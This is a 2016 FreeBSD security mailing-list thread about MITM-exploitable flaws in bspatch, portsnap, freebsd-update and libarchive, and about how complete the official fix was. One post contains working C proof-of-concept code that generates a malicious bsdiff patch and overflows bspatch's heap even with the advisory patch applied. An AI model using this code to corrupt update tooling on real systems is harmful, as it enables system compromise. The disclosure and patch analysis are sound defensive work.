freebsd-update and portsnap users still at risk of compromise

[Martin Schroeder]

On July 18, John Leyden, security editor at The Register, tweeted a link
to a libarchive ticket that had been sitting without a response for
almost a week.

tweet: https://twitter.com/jleyden/status/755016810865582081
libarchive ticket: https://github.com/libarchive/libarchive/issues/743

The ticket creator quoted an AV researcher who was likely posting to one
of the many early-alert vendor lists in the age of infosec balkanization
(IOW, a "courtesy heads-up" to FreeBSD users forking them money):

[QUOTE]
Our AV researchers have analyzed the following link that was cloud-
submitted as suspect:

https://gist.github.com/anonymous/e48209b03f1dd9625a992717e7b89c4f

The document is from an unknown author and describes "non-cryptanalytic
attacks against FreeBSD update components." The affected components are
the portsnap and freebsd-update tools, both directly and indirectly.

From what we can tell, the text file is part of a larger stash of
documents, all with the same attack-defense style. We have other
documents, dated 2014 and 2015, detailing attacks against the update
systems of multiple Linux distributions and the corresponding defenses
against "the adversary."

We believe this to be the work of an MITM-capable advanced threat actor.

Full details of our findings will be released in the coming weeks. This
is a courtesy heads-up to FreeBSD users.
[/QUOTE]

Another poster confirmed some of the attacks:

[QUOTE]
Here via John Leyden's tweet.

I don't have the time to test the portsnap attacks, but I can confirm
that the libarchive/tar and bspatch attacks work on our 10.x machines,
and I'm happy to test any libarchive/tar fixes.

Judging by the painstaking amount of work put into the bspatch exploit
especially, I think it's highly unlikely that the creator lacks the
means to deploy it via mitm. Otherwise, I've never seen anything like
this in terms of apparent work/reward. It would be comical if it weren't
so horrifying. Think of all those locked-down fbsd machines that have no
external-facing daemons/services and that perform only updates. Our
telecommunications floor alone has several dozen.

Someone needs to alert the fbsd mailing lists (-current, -security?)
pronto. I'd rather not mail them myself from work. And we should also
get more details on the linux distributions.
[/QUOTE]

I've been analyzing the document extensively since then. The targets are
as follows:

[1] portsnap via portsnap vulnerabilities
[2] portsnap via libarchive & tar anti-sandboxing vulnerabilities
[3] portsnap via bspatch vulnerabilities
[4] freebsd-update via bspatch vulnerabilities

Nothing has appeared in any official FreeBSD source about [1]. The
libarchive developers have finally confirmed [2] and are presumably
working on fixes.

A FreeBSD advisory just appeared for [3] & [4] (bspatch), but users
should be aware that running freebsd-update exposes their machines to
the very vulnerability it's correcting (a not insignificant fact that
was omitted from the advisory). Here's why:

[QUOTE]
* The bspatch(1) utility is executed before SHA256 verification in both
* freebsd-update(8) and portsnap(8).
[/QUOTE]

Even worse, the patch in the FreeBSD advisory is insufficient to prevent
heap corruption. I compared the patch in the FreeBSD advisory with the
"defense" patch in the document, and the former contains only a subset
of the checks in the latter. The document patch is in some ways cautious
to an insanely paranoid degree, mistrusting the error-checking stability
of system libraries and defending against compiler quirks that probably
won't exist in compiler optimization intelligence for many years, if
ever, though as a developer of clang-based static analyzers, I did take
an interest in one of the more usual integer-overflow culprits:

[ADVISORY PATCH - CONTAINS ONLY A SUBSET OF DOCUMENT PATCH]
/* Sanity-check */
+ if ((ctrl[0] < 0) || (ctrl[1] < 0))
+ errx(1,"Corrupt patch\n");
+
+ /* Sanity-check */
if(newpos+ctrl[0]>newsize)
errx(1,"Corrupt patch\n");
[/ADVISORY PATCH]

[DOCUMENT PATCH - THE CORRESPONDING PORTION]
/* Sanity-check */
- if(newpos+ctrl[0]>newsize)
- errx(1,"Corrupt patch\n");
+ if((ctrl[0]<0) || (ctrl[0]>INT_MAX) ||
+ (newpos>OFF_MAX-ctrl[0]) || (newpos+ctrl[0]>newsize))
+ errx(1,"Corrupt patch\n");

- /* Read diff string */
+ /* Read diff string - 4th arg converted to int */
lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos, ctrl[0]);
if ((lenread < ctrl[0]) ||
((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END)))
errx(1, "Corrupt patch\n");
[/DOCUMENT PATCH]

The ctrl[1] checks in the document patch are similar.

The basic idea is that for

if(newpos+ctrl[0]>newsize)

and

if(newpos+ctrl[1]>newsize)

it's not enough to block a negative ctrl[]. That will stop the exploit
given, but it won't stop additional exploits. The document patch defends
against additional exploits, namely those based on newpos+ctrl[]
overflowing via a large ctrl[] to bypass the check. The canonical large
value I use below is 0x7fffffff7fffffff, which is both off_t nonnegative
and int nonnegative (when truncated in BZ2_bzRead). The document patch
defends against this truncation trickery as well.

To demonstrate the problem, I wrote the code below. Examine it on a
FreeBSD x64 machine under gdb, valgrind, or whatever, even with the
advisory patch applied.

[CODE]
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <bzlib.h>
#include <sys/types.h>

int main(int argc, char **argv)
{
unsigned char oct;
char buff[100000];
char c[72]=
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xff\xff\xff\x7f\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xff\xff\xff\x7f\xff\xff\xff\x7f"
"\x00\x00\x00\x00\x00\x00\x00\x00";
char *e=calloc(1,0x8fffffff);
if(!e) return 1;
unsigned l,tmp;
int comp=atoi(argv[1]);
int fd=open(argv[2],O_WRONLY|O_CREAT|O_TRUNC,0666);
write(fd,"BSDIFF40",8);
l=sizeof(buff);
BZ2_bzBuffToBuffCompress(buff,&l,c,sizeof(c),comp,0,0);
tmp=l;
for(int i=0;i<8;i++){oct=tmp&0xff;write(fd,&oct,1);tmp>>=8;}
write(fd,"\x00\x00\x00\x00\x00\x00\x00\x00",8);
write(fd,"\x02\x00\x00\x80\x00\x00\x00\x00",8);
write(fd,buff,l);
l=sizeof(buff);
BZ2_bzBuffToBuffCompress(buff,&l,e,0x8fffffff,comp,0,0);
write(fd,buff,l);
close(fd);
free(e);
return 0;
}
[/CODE]

[ms@dev4 ~/patch]$ cc -o bp bp.c -lbz2
[ms@dev4 ~/patch]$ echo 123 > old
[ms@dev4 ~/patch]$ ./bp 1 patch
[ms@dev4 ~/patch]$ bspatch old new patch
Segmentation fault (core dumped)
[ms@dev4 ~/patch]$ ./bp 9 patch
[ms@dev4 ~/patch]$ bspatch old new patch
bspatch: Corrupt patch

Counterintuitively, the segfault case is (currently) less dangerous than
the error case. This is because the segfault arises from harmlessly
trashing the heap until an unmapped page is hit (though you never know
what the future - or creativity - brings). But taking a cue from a
comment in the exploit, I bumped up the compression to level 9, which
positioned a lot of libbz2 internal data after the buffer. This data
gets overwritten and could very likely be finessed to dangerous effect.
The error message is simply because after pulling out my hair to figure
out bspatch, I had no desire to follow the author down the rabbit hole
of bzip2/jemalloc/libc internals, which shall remain for me black magic.

Martin Schroeder

-------------------------------------------------

ONLY AT VFEmail! - Use our Metadata Mitigator to keep your email out of the NSA's hands!
$24.95 ONETIME Lifetime accounts with Privacy Features!
15GB disk! No bandwidth quotas!
Commercial and Bulk Mail Options!
_______________________________________________
freebsd-...@freebsd.org mailing list
https://lists.freebsd.org/mailman/listinfo/freebsd-security
To unsubscribe, send any mail to "freebsd-securi...@freebsd.org"

[Julian Elischer]

On 29/07/2016 11:49 AM, Martin Schroeder wrote:
> On July 18, John Leyden, security editor at The Register, tweeted a
> link
> to a libarchive ticket that had been sitting without a response for
> almost a week.
>

not sure if you've been contacted privately, but I believe the answer is
"we're working on it"

[Martin Schroeder]

On 2016-07-29 09:00, Julian Elischer wrote:
>
> not sure if you've been contacted privately, but I believe the answer
> is
> "we're working on it"

My concerns are as follows:

1. This is already out there, and FreeBSD users haven't been alerted
that
they should avoid running freebsd-update/portsnap until the problems are
fixed.

2. There was no mention in the bspatch advisory that running
freebsd-update to "fix" bspatch would expose systems to MITM attackers
who
are apparently already in operation.

3. Strangely, the "fix" in the advisory is incomplete and still permits
heap corruption, even though a more complete fix is available. That's
what prompted my post. If FreeBSD learned of the problem from the same
source document we all did, which seems likely given the coincidental
timing of an advisory for a little-known utility a week or two after
that
source document appeared, then surely FreeBSD had the complete fix
available.

[Matthew Donovan]

You mean operating system as distribution is a Linux term. There's not much
different between HARDENEDBSD and FreeBSD besides that HardenedBSD fixes
vulnerabilities and has a an excellent ASLR system compared to the proposed
one for FreeBSD.

On Aug 9, 2016 3:10 PM, "Roger Marquis" <mar...@roble.com> wrote:

> Timely update via Hackernews:
>
> <hardenedbsd.org/article/shawn-webb/2016-08-07/vulnerabilit
> y-update-libarchive>
>
> Note in particular:
>
> "FreeBSD is still vulnerable to the portsnap, freebsd-update, bspatch,
> and libarchive vulnerabilities."
>
> Not sure why the portsec team has not commented or published an advisory
> (possibly because the freebsd list spam filters are so bad that
> subscriptions are being blocked) but from where I sit it seems that
> those exposed should consider:
>
> cd /usr/ports
> svn{lite} co https://svn.FreeBSD.org/ports/head /usr/ports
> make index
> rm -rf /usr/sbin/portsnap /var/db/portsnap/*
>
> I'd also be interested in hearing from hardenedbsd users regarding the
> pros and cons of cutting over to that distribution.
>
> Roger

>
>
>
> On 2016-07-29 09:00, Julian Elischer wrote:
>>
>>>
>>> not sure if you've been contacted privately, but I believe the answer is
>>> "we're working on it"
>>>
>>
>> My concerns are as follows:
>>
>> 1. This is already out there, and FreeBSD users haven't been alerted that
>> they should avoid running freebsd-update/portsnap until the problems are
>> fixed.
>>
>> 2. There was no mention in the bspatch advisory that running
>> freebsd-update to "fix" bspatch would expose systems to MITM attackers who
>> are apparently already in operation.
>>
>> 3. Strangely, the "fix" in the advisory is incomplete and still permits
>> heap corruption, even though a more complete fix is available. That's
>> what prompted my post. If FreeBSD learned of the problem from the same
>> source document we all did, which seems likely given the coincidental
>> timing of an advisory for a little-known utility a week or two after that
>> source document appeared, then surely FreeBSD had the complete fix
>> available.
>>

>> _______________________________________________
> freebs...@freebsd.org mailing list
> https://lists.freebsd.org/mailman/listinfo/freebsd-ports
> To unsubscribe, send any mail to "freebsd-port...@freebsd.org"

[Big Lebowski]

On Tue, Aug 9, 2016 at 9:21 PM, Matthew Donovan <kit...@kitchetech.com>
wrote:

> You mean operating system as distribution is a Linux term. There's not much
> different between HARDENEDBSD and FreeBSD besides that HardenedBSD fixes
> vulnerabilities and has a an excellent ASLR system compared to the proposed
> one for FreeBSD.
>

And what are your sources on which you're formulating this statement? What
is the HBSD authors security, or even general coding, track record? How
well are they known for their code, whitepapers, implementations? I'd say,
not at all. You can have the example of their 'ASLR' code quality in the
FreeBSD reviews system, where known and respected coders point out very
basic and critical code mistakes, where well known and respected system
designers point out flaws in their lack of design, so on and so forth. The
only thing that's excellent about them is how they spread this opinion
about their code to other people, including you ;)

I'd much rather take my bet with kib's implementation knowing who he is and
how long and how well he does what he does (that is, quality code for
FreeBSD) than untested, un-designed, self-procclaimed code from relatively
young, inexperienced and unknown person, that's not willing to take advices
on fixing their code, when given so.

With all due respect :)

[Franco Fichtner]

> On 10 Aug 2016, at 10:50 AM, Big Lebowski <spankt...@gmail.com> wrote:
>
> With all due respect :)

Not really. Feel free to try again.

[RW via freebsd-security]

On Fri, 29 Jul 2016 03:49:39 +0000
Martin Schroeder wrote:


> I've been analyzing the document extensively since then. The targets
> are as follows:
>
> [1] portsnap via portsnap vulnerabilities
> [2] portsnap via libarchive & tar anti-sandboxing vulnerabilities
> [3] portsnap via bspatch vulnerabilities

I only had a quick look so I might have missed something - am I right
in thinking that all the portsnap attacks rely on an attacker
substituting the initial tarball?

If so then then fixing this doesn't really effect existing users in the
short term. Either you're already compromised, or your snapshot will
remain secure until you manually delete it.

[Mail Lists]

sorry but this is blabla and does not come even near to answering the real problem:

It appears that freebsd and the US-government is more connected that some of us might like:

Not publishing security issues concerning update mechanisms - we all can think WHY freebsd is not eager on this one.

Just my thoughts...



>Tuesday, August 9, 2016 8:21 PM UTC from Matthew Donovan <kit...@kitchetech.com>:

Best regards,
Mail Lists
mli...@mail.ru

[Mail Lists]

sorry but this is bullshit and does not come even near to answering the real problem:

It appears that freebsd and the US-government is more connected that some of us might like:

Not publishing security issues concerning update mechanisms - we all can think WHY freebsd is not eager on this one........

don't trust anyone..

Just my thoughts...



>Tuesday, August 9, 2016 8:21 PM UTC from Matthew Donovan <kit...@kitchetech.com>:
>

Best regards,
Mail Lists
mli...@mail.ru

[Julian Elischer]

On 11/08/2016 1:11 AM, Mail Lists via freebsd-security wrote:
>
>
> sorry but this is blabla and does not come even near to answering the real problem:
>
> It appears that freebsd and the US-government is more connected that some of us might like:
>
> Not publishing security issues concerning update mechanisms - we all can think WHY freebsd is not eager on this one.
>
> Just my thoughts...

this has been in discussion a lot in private circles within FreeBSD.
It's not being ignored and a "correct" patch is being developed.

from one email I will quote just a small part..
=======

As of yet, [the] patches for the libarchive vulnerabilities have not been released
upstream to be pulled into FreeBSD. In the meantime, HardenedBSD has created
patches for some of the libarchive vulnerabilities, the first[3] is being
considered for inclusion in FreeBSD, at least until a complete fix is
committed upstream, however the second[4] is considered too brute-force and
will not be committed as-is. Once the patches are in FreeBSD and updated
binaries are available, a Security Advisory will be issued.

=======
so expect something soon.
I will go on to say that the threat does need to come from an advanced
MITM actor,
though that does not make it a non threat..

[Vincent Hoffman-Kazlauskas]

For those not on freebsd-announce (or reddit or anywhere else it got posted)

"FreeBSD Core statement on recent freebsd-update and related
vulnerabilities"
https://lists.freebsd.org/pipermail/freebsd-announce/2016-August/001739.html



Vince

[Joe Shevland]

The HN discussion:

https://news.ycombinator.com/item?id=12261347